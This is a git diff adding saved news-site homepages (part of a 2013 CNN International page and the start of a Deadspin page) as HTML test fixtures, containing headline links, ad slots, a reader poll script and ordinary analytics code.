+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/24/sport/shackleton-epic-journey-relived/index.html?hpt=hp_mid"><span>Adventurers recreate journey</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/24/sport/football/hazard-ball-boy-football/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background-image: url(http://i2.cdn.turner.com/cnn/dam/assets/130124124756-hazard-tease-video-tease.jpg); background-color: transparent; display: block; background-position: 0px 0px; background-repeat: no-repeat no-repeat;" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/24/sport/football/hazard-ball-boy-football/index.html?hpt=hp_mid"><span>Hazard to soccer's public image?</span></a></div>
+</div></div>
+<div class="cnn_fabcatz">
+<div class="cnn_relpostn">
+<div class="cnn_fabcatimg" id="gallery_0_ad_0">
+<div id="gallery_0_ad_0Container"><!-- ADSPACE: homepage/main/bot1.120x90 -->
+<!-- CALLOUT|http://ads.cnn.com/html.ng/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=120x90_bot1&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs|CALLOUT -->
+<div id="ad-296281" align="center" style="padding: 0; margin: 0; border: 0;"><iframe id="296281" name="296281" width="120" height="90" style="position: relative; top: 0px; left: 0px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no" src="./cf/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=120x90_bot1&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs&Params.User.htm" class=" adunit_120x90"></iframe></div></div></div>
+</div>
+<div class="cnn_fabcatad" id="gallery_0_ad_0_adgif"><img src="./cf/advertisement(1).gif" width="58" height="5" alt="" border="0"></div>
+</div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/24/business/le-meur-leweb-davos/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background-image: url(http://i2.cdn.turner.com/cnn/dam/assets/130124180922-digital-payment-file-video-tease.jpg); background-color: transparent; display: block; background-position: 0px 0px; background-repeat: no-repeat no-repeat;" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/24/business/le-meur-leweb-davos/index.html?hpt=hp_mid"><span>How digital hippies create new world</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/24/world/meast/speed-sisters-palestinian-motor-racing/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background-image: url(http://i2.cdn.turner.com/cnn/dam/assets/130115112151-speed-sisters-1-noor-video-tease.jpg); background-color: transparent; display: block; background-position: 0px 0px; background-repeat: no-repeat no-repeat;" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/24/world/meast/speed-sisters-palestinian-motor-racing/index.html?hpt=hp_mid"><span>Palestinian changes racing</span></a></div>
+</div></div>
+</div>
+<div class="cnn_fabcaslab">
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/13/tennis/gallery/australian-open/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130124065554-04-aus-0124-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/13/tennis/gallery/australian-open/index.html?hpt=hp_mid"><span>Action from Australian Open</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/24/travel/exotic-culinary-tours/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130123133214-exotic-food-tours-iceland-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/24/travel/exotic-culinary-tours/index.html?hpt=hp_mid"><span>Global exotic culinary tours</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/24/business/bric-women-oped/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130122150726-woman-in-shanghai-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/24/business/bric-women-oped/index.html?hpt=hp_mid"><span>Meet world's most ambitious women</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/23/sport/football/football-real-madrid-manchester-united-barcelona/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130114162726-ronaldo-tease-image-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/23/sport/football/football-real-madrid-manchester-united-barcelona/index.html?hpt=hp_mid"><span>World's wealthiest football club is...</span></a></div>
+</div></div>
+<div class="cnn_fabcatz">
+<div class="cnn_relpostn">
+<div class="cnn_fabcatimg" id="gallery_0_ad_1">
+</div>
+</div>
+<div class="cnn_fabcatad" id="gallery_0_ad_1_adgif"></div>
+</div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://travel.cnn.com/russias-10-ritziest-hotels-428486?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130124142115-moscow-ararat-park-hyatt-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://travel.cnn.com/russias-10-ritziest-hotels-428486?hpt=hp_mid"><span>Russia's 10 ritziest hotels</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/23/showbiz/charlie-brown-actor-arrested/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130123194450-peter-robbins-0123-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/23/showbiz/charlie-brown-actor-arrested/index.html?hpt=hp_mid"><span>Charlie Brown actor charged</span></a></div>
+</div></div>
+</div>
+<div class="cnn_fabcaslab">
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/18/travel/europe-bizarre-buildings/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130117172233-bizarre-buildings-5-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/18/travel/europe-bizarre-buildings/index.html?hpt=hp_mid"><span>Europe's most bizarre buildings</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/23/world/meast/israel-elections-lapid/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130123192303-yair-lapid-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/23/world/meast/israel-elections-lapid/index.html?hpt=hp_mid"><span>Yair Lapid, Israel's man of the 'future'</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/world/2013/01/24/pkg-wedeman-italy-colorful-colosseum.cnn"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130123224300-pkg-wedeman-italy-colorful-colosseum-00000225-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_vidplyb38x38"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/world/2013/01/24/pkg-wedeman-italy-colorful-colosseum.cnn"><img src="./cf/1px(1).gif" alt="" border="0"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/world/2013/01/24/pkg-wedeman-italy-colorful-colosseum.cnn"><span>Colosseum gives up secrets</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/us/2013/01/24/dnt-ct-from-guns-to-jewelry.wfsb"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130124041135-dnt-ct-from-guns-to-jewelry-00011427-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_vidplyb38x38"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/us/2013/01/24/dnt-ct-from-guns-to-jewelry.wfsb"><img src="./cf/1px(1).gif" alt="" border="0"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/us/2013/01/24/dnt-ct-from-guns-to-jewelry.wfsb"><span>Guns shredded, made into jewelry</span></a></div>
+</div></div>
+<div class="cnn_fabcatz">
+<div class="cnn_relpostn">
+<div class="cnn_fabcatimg" id="gallery_0_ad_2">
+</div>
+</div>
+<div class="cnn_fabcatad" id="gallery_0_ad_2_adgif"></div>
+</div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/world/2013/01/24/pkg-neely-syria-conflict-frontlines.itn"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130124054020-pkg-neely-syria-conflict-frontlines-00003320-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_vidplyb38x38"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/world/2013/01/24/pkg-neely-syria-conflict-frontlines.itn"><img src="./cf/1px(1).gif" alt="" border="0"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/world/2013/01/24/pkg-neely-syria-conflict-frontlines.itn"><span>Syrian civil war stuck in stalemate</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/business/2013/01/24/lklv-wbt-goodman-spain-unemployment.cnn"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130122025846-unemployment-spain-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_vidplyb38x38"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/business/2013/01/24/lklv-wbt-goodman-spain-unemployment.cnn"><img src="./cf/1px(1).gif" alt="" border="0"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/business/2013/01/24/lklv-wbt-goodman-spain-unemployment.cnn"><span>One in four out of work in Spain</span></a></div>
+</div></div>
+</div>
+<div class="cnn_fabcaslab">
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/23/opinion/bear-apophis-asteroid/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/120517121633-near-earth-asteroids-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/23/opinion/bear-apophis-asteroid/index.html?hpt=hp_mid"><span>Don't rule out 'killer asteroid'</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/23/world/asia/myanmar-burma-kachin-conflict/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130124023107-myanmar-kachin-soldier-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/23/world/asia/myanmar-burma-kachin-conflict/index.html?hpt=hp_mid"><span>Thorn in Myanmar peace plan</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/sports/2013/01/23/lklv-davies-australia-open-stephens.cnn"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130123225708-07-sloane-stephens-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_vidplyb38x38"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/sports/2013/01/23/lklv-davies-australia-open-stephens.cnn"><img src="./cf/1px(1).gif" alt="" border="0"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/video/?hpt=hp_mid#/video/sports/2013/01/23/lklv-davies-australia-open-stephens.cnn"><span>Teen who defeated Serena</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://amanpour.blogs.cnn.com/2013/01/23/nigeria-battles-to-stop-spread-of-al-qaeda-chaos-in-africa/?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130123172844-nigeria-goodluck-jonathan-amanpour-00012210-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://amanpour.blogs.cnn.com/2013/01/23/nigeria-battles-to-stop-spread-of-al-qaeda-chaos-in-africa/?hpt=hp_mid"><span>Nigerian leader on extremism</span></a></div>
+</div></div>
+<div class="cnn_fabcatz">
+</div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/23/opinion/cameron-commentary-green/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130123065948-chance-uk-cameron-eu-referendum-00013115-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/23/opinion/cameron-commentary-green/index.html?hpt=hp_mid"><span>Will Cameron's EU gamble pay off?</span></a></div>
+</div></div>
+<div class="cnn_fabcatz"><div class="cnn_relpostn">
+<div class="cnn_fabcatimg"><a href="http://edition.cnn.com/2013/01/23/politics/five-things-bengazi/index.html?hpt=hp_mid"><img src="./cf/1px(1).gif" alt="" border="0" class="cnnContentImg" height="68" style="background:transparent url(http://i2.cdn.turner.com/cnn/dam/assets/130123110531-08-hillary-clinton-libya-hearing-0123-video-tease.jpg) 0 0 no-repeat;display:none" width="120"></a></div>
+<div class="cnn_fabcattxt"><a href="http://edition.cnn.com/2013/01/23/politics/five-things-bengazi/index.html?hpt=hp_mid"><span>'System broke down' in Benghazi</span></a></div>
+</div></div>
+</div>
+</div></div></div></div>
+</div>
+<div class="cnn_fabcnxt" id="cnn_fabcnext"></div>
+<div class="cnn_clear"></div>
+</div>
+</div></div></div></div></div></div></div></div></div>
+<!--/strip--> <div class="cnn_pad2top cnn_shdspc"></div>
+<!--bottombins-->
+<div class="cnn_contentarea cnn_shdsectbin"> <div class="cnn_shdcaheader"></div> <div class="cnn_sectbin1"> <div class="cnn_sectbincntnt"> <div class="cnn_sectbincntnt2"> <h4><a href="http://edition.cnn.com/BUSINESS/?hpt=hp_bn1">Business</a></h4> <div class="cnn_clear"></div> <div class="cnn_divline"></div> <ul class="cnn_bulletbin"> <li> <a href="http://edition.cnn.com/2013/01/25/business/davos-boris-johnson-eu-referendum/index.html?hpt=hp_bn1" target="_self">UK-EU debate from 'cyclotro [...]
+<!-- CALLOUT|http://ads.cnn.com/html.ng/site=cnn_international&cnn_intl_position=88x31_spon_dailysnap&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs|CALLOUT -->
+<div id="ad-856294" align="center" style="padding: 0; margin: 0; border: 0;"><iframe id="856294" name="856294" width="175" height="31" style="position: relative; top: 0px; left: 0px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no" src="./cf/site=cnn_international&cnn_intl_position=88x31_spon_dailysnap&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs&Params.User.htm" class=" adunit_175x31"></iframe></div><script>cnnad_createAd("856294","http://ads.cnn.com/ht [...]
+<div class="pmNsHeadline">
+<a href="http://edition.cnn.com/2013/01/24/business/davos-uk-cameron/index.html"><span class="pmHLBullet">•</span>Cameron: We must focus on trade, taxes, transparency</a>
+</div>
+<div class="pmNsPopularity">
+<div class="pmNsPopImage" style="width: 1%;"></div>
+</div>
+</li>
+<li class="pmNsStory">
+<div class="pmNsHeadline">
+<a href="http://edition.cnn.com/2013/01/24/health/love-psychology-book/index.html"><span class="pmHLBullet">•</span>10 things you might not know about love</a>
+</div>
+<div class="pmNsPopularity">
+<div class="pmNsPopImage" style="width: 0%;"></div>
+</div>
+</li>
+<li class="pmNsStory">
+<div class="pmNsHeadline">
+<a href="http://edition.cnn.com/2013/01/25/world/asia/north-korea-threat-south/index.html"><span class="pmHLBullet">•</span>After threats against U.S., North Korea turns ire to South</a>
+</div>
+<div class="pmNsPopularity">
+<div class="pmNsPopImage" style="width: 0%;"></div>
+</div>
+</li>
+<li class="pmNsStory">
+<div class="pmNsHeadline">
+<a href="http://edition.cnn.com/2013/01/23/world/meast/yemen-drone-strike/index.html"><span class="pmHLBullet">•</span>Drone strike kills six suspected militants in Yemen</a>
+</div>
+<div class="pmNsPopularity">
+<div class="pmNsPopImage" style="width: 0%;"></div>
+</div>
+</li>
+
+
+ </ul> <div class="cnn_mtpmore"><a class="cnn_mtpmorebtn" href="http://edition.cnn.com/mostpopular"><img border="0" alt="More" src="./cf/1px(1).gif"></a></div> </div> </div> <div class="cnn_clear"></div> <div class="cnn_shdcafooter"></div> <div class="cnn_pad2top cnn_shdspc"></div> <div class="cnn_shdcaheader"></div> <div class="cnn_sectbin1"> <div class="cnn_sectbincntnt"> <div class="cnn_sectbincntnt2"> <h4><a href="http://edition.cnn.com/video/?hpt=hp_bn4">Video highlights</a></h4> <d [...]
+
+<div id="cnnQV_Content_63710">
+<form id="qv_poll_63710" method="post" action="http://polls.cnn.com/poll" target="qv_iframe_63710">
+<input type="HIDDEN" name="poll_id" value="63710">
+<div class="cnn_qvbv3">
+<h5 id="cnnQV_quesTxT">Should the UK leave the European Union?</h5>
+</div>
+<div class="cnn_qvbv4">
+<ul>
+<li><input type="radio" name="question_1" value="1" id="cnnPollA1"> <label for="cnnPollA1" id="cnnPoll_Q1L1">Yes</label></li>
+<script> qvq_count++; </script>
+<li><input type="radio" name="question_1" value="2" id="cnnPollA2"> <label for="cnnPollA2" id="cnnPoll_Q1L2">No</label></li>
+<script> qvq_count++; </script>
+</ul>
+<div class="cnn_clear"></div>
+</div>
+<!-- /end Question 1 -->
+<div class="cnn_qvbvote">
+<div class="cnn_qvbv1"><a href="javascript:qvSubmitVote_63710();" class="cnn_frmqvtbtn"><img src="./cf/1px.gif" border="0"></a></div>
+<div class="cnn_qvbv2"><span>or </span><a href="javascript:qvGetResults_63710();">view results</a></div>
+<div class="cnn_clear"></div>
+</div>
+</form>
+</div>
+<iframe width="1" height="1" frameborder="0" style="visibility:hidden;height:1px;border:0px" id="qv_iframe_63710" name="qv_iframe_63710"></iframe>
+<script type="text/javascript">
+
+ var qv_submitted_63710;
+ function qvSubmitVote_63710() { qv_submitted_63710 = 1;$('qv_poll_63710').submit();qvGetResults_63710(); }
+ function qvGetResults_63710() {
+
+ CSIManager.getInstance().call('http:/\/www.cnn.com/POLLSERVER/results/63710.content.html', '', 'cnnQV_Content_63710', cnn_qvBPHTML_63710, true);
+
+ }
+
+ function cnn_qvBPHTML_63710(obj, id, configObj) {
+
+ var qvtemp_arr = new Array();
+ for(i=1;i <= qvq_count;i++) { qvtemp_arr[(i - 1)] = { 'a_txt' : $('cnnPoll_Q1L' + i).innerHTML, 'vote_c' : parseInt(obj.poll_values[i].vote_count), 'vote_p' : parseInt(obj.poll_values[i].vote_percent) }; }
+ qvtemp_arr.sort(cnn_qvCompRes);
+ return cnn_qvBResHTML(obj, qvtemp_arr, '63710');
+
+ }
+
+
+ function cnn_qvBResHTML(obj, qv_arr, poll_id) {
+
+ var qvtemp_html = '<div class="cnn_qvbv14">';
+ qvtemp_html += '<div class="cnn_qvbv16">';
+ qvtemp_html += '<h5>' + $('cnnQV_quesTxT').innerHTML + '</h5>';
+ if(obj.related_story) { qvtemp_html += '<div class="cnn_qvbv5"><a href="' + obj.related_story + '">Read Related Articles</a></div>'; }
+ qvtemp_html += '</div>';
+ qvtemp_html += '<div class="cnn_qvbv15">This is not a scientific poll</div>';
+ qvtemp_html += '</div>';
+
+ qvtemp_html += '<div class="cnn_qvbv6">';
+
+
+ for(i=0;i < qv_arr.length;i++) {
+
+ qvtemp_html += '<div class="cnn_qvbv7';
+ if(i == 0) { qvtemp_html += ' cnn_qvbvactv'; }
+ qvtemp_html += '">';
+ qvtemp_html += '<div class="cnn_qvbv8">' + qv_arr[i].a_txt + '</div>';
+ qvtemp_html += '<div class="cnn_qvbv9"><div style="';
+ if(qv_arr[i].vote_p > 0) { qvtemp_html += 'width:' + qv_arr[i].vote_p + 'px;'; }
+ qvtemp_html += '"></div></div>';
+ qvtemp_html += '<div class="cnn_qvbv10">' + qv_arr[i].vote_p + '%</div>';
+ qvtemp_html += '<div class="cnn_qvbv11">' + qv_arr[i].vote_c + '</div>';
+ qvtemp_html += '<div class="cnn_clear"></div>';
+ qvtemp_html += '</div>';
+
+ }
+
+ qvtemp_html += '<div class="cnn_qvbv12">Total votes: ' + obj.total_vote_count + '</div>';
+ qvtemp_html += '<div class="cnn_qvbv13">This is not a scientific poll</div>';
+
+ qvtemp_html += '</div>';
+
+ return qvtemp_html;
+
+ }
+
+ function cnn_qvCompRes(a, b) { return b.vote_c - a.vote_c; }
+
+</script>
+ </div> <div class="cnn_clear"></div> </div> <div class="cnn_clear"></div> <div class="cnn_shdcafooter"></div> <div class="cnn_pad2top cnn_shdspc"></div> </div> </div> <div class="cnn_contentarea cnn_shdsectbin cnn_sbaltadbin"> <div class="cnn_sbalternate"> <div class="cnn_sdbx"><div class="cnn_sdbx1"><div class="cnn_sdbx2"><div class="cnn_sdbx3"><div class="cnn_sdbx4"><div class="cnn_sdbx5"><div class="cnn_sdbxcntnt"> <div> <div class="cnn_adcntr728x90"> <div class="cnn_adspc728x90"> <d [...]
+<!-- CALLOUT|http://ads.cnn.com/html.ng/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=728x90_bot&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs|CALLOUT -->
+<div id="ad-844529" align="center" style="padding: 0; margin: 0; border: 0;"><iframe id="844529" name="844529" width="728" height="90" style="position: relative; top: 0px; left: 0px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no" src="./cf/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=728x90_bot&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs&Params.User.htm" class=" adunit_728x90"></iframe></div><script>cnnad_createAd("844529","http://a [...]
+<script>
+$$('.cnn_sectbincntnt2 ul').each(function(bulletlist,idx){while(bulletlist.getHeight()>135){bulletlist.childElements().last().remove();}});
+$$('.cnn_sbin4mpopbin ul').each(function(bulletlist,idx){while(bulletlist.getHeight()>135){bulletlist.childElements().last().remove();}});
+</script>
+<!-- bypass ws--> <div align="center"> <div id="cnn_ftrcntnt"> <div id="cnn_ftrcntntinner" class="clearfix"> <div class="cnn_ftrdivl1"></div> <div id="cnnLWPWeather" style="visibility: visible;"><div class="cnn_ftrwthr1"> <a href="http://weather.edition.cnn.com/weather/intl/forecast.jsp?&zipCode=336736767676" title=""><img src="./cf/07.png" width="54" height="47" alt="" class="cnn_ie6png" border="0"></a></div><div class="cnn_ftrwthr2"><div class="cnn_ftrwthr3">1°</div><div class="cnn_ftr [...]
+<!--jsmd-->
+<script src="./cf/ais.js"></script>
+<script src="./cf/jsmd-347.min.js"></script>
+
+<script>
+var jsmd=_jsmd.init(),pageURL=location.href.toLowerCase();
+if (pageURL.indexOf("/.element/ssi/ads.iframes/")==-1&&pageURL.indexOf("/doubleclick/dartiframe.html")==-1&&pageURL.indexOf("/search/")==-1){
+if (_jsmd.plugin.gQuery("refresh")){
+jsmd.trackMetrics("dynamic-autoRefresh","autorefresh","cnn-autorefresh");
+} else if (_jsmd.plugin.gQuery("is_LR")){
+} else if (cnn_metadata.template_type_content!="gallery"){
+jsmd.send();
+}
+}
+</script>
+<!--/jsmd-->
+<!-- ADSPACE: homepage/main/Skin.BG --><div align="center" style="padding: 0; margin: 0; border: 0;"><script>
+cnnad_renderAd("http://ads.cnn.com/js.ng/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=BG_Skin&cnn_intl_rollup=homepage&page.allowcompete=no");</script><script type="text/javascript" src="./cf/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=BG_Skin&cnn_intl_rollup=homep.UserID=510229d208894c0a3d146b46f700566a&tile=6070726909531&transactionID=8830841950044160"></script></div>
+<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
+<script>
+/*globals MainLocalObj*/
+$j(window).load(function () {
+'use strict';
+MainLocalObj.init();
+});
+$j(document).ready(function () {
+'use strict';
+if (navigator.userAgent.indexOf('iPad') > -1) {
+$j('#makeHPLink').hide();
+}
+loadChartbeat("homepage", "");
+if(CNNHP && CNNHP.initFlipperTicker){
+CNNHP.initFlipperTicker();
+}
+});
+</script>
+
+</div></div><script src="./cf/chartbeat.js"></script><div id="cnn_overlaycntnt"></div><div id="csimanagerdiv"><div id="csiIframeObjscsi2"><iframe src="./cf/editionvars.htm" id="csiDataIframecsi2" name="csiDataIframecsi2" width="10" height="10" style="visibility: hidden; position: absolute; top: 0px; left: -100px;"></iframe></div><div id="csiIframeObjscsi3"><iframe src="./cf/getForecast.htm" id="csiDataIframecsi3" name="csiDataIframecsi3" width="10" height="10" style="visibility: hidden; [...]
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin.com b/src/test/resources/s/deadspin.com
new file mode 100644
index 0000000..1dc8f23
--- /dev/null
+++ b/src/test/resources/s/deadspin.com
@@ -0,0 +1,3310 @@
+<!DOCTYPE html>
+<!-- saved from url=(0020)http://deadspin.com/ -->
+<html xmlns="http://www.w3.org/1999/xhtml" class="feature_chompcommentimages feature_s3upload feature_mobileinterview feature_expandnode feature_switch feature_newcomments feature_disablecomments feature_newprofile feature_realavatarnode webkit chrome win js wf-proximanovacondensed1proximanovacondensed2-n4-active wf-proximanovacondensed1proximanovacondensed2-n7-active wf-active" xmlns:fb="http://www.facebook.com/2008/fbml"><head><meta http-equiv="Content-Type" content="text/html; charset [...]
+ <script type="text/javascript">
+ if ((function(a,b){return /android.+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|meego.+mobile|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\ [...]
+ && !(function(a,b){return /ipad|gt-p1000|sgh-t849|gt-i9000|shw-m180S|playbook|hp-tablet/i.test(a.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera)
+ && !document.cookie.match(/____forcefullsite=true/) && !navigator.userAgent.match('FBDV/iPad')) {
